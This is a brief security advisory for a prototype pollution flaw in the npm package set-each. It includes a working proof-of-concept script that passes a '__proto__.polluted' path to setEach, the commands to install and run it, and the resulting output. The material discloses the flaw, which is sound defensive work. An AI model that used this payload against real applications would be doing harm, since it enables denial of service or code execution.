vulnerability prototype pollution
severity 7.3
language typescript
registry npm


set-each is vulnerable to Prototype Pollution. This package fails to restrict access to prototypes of objects, allowing for modification of prototype behavior using a proto payload, which may result in Sensitive Information Disclosure/Denial of Service(DoS)/Remote Code Execution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var setEach = require("set-each")
const obj = [{}]
console.log("Before : " + {}.polluted); 
setEach.setEach(obj, 'Yes! Its Polluted', '__proto__.polluted')
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i set-each # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! It's Polluted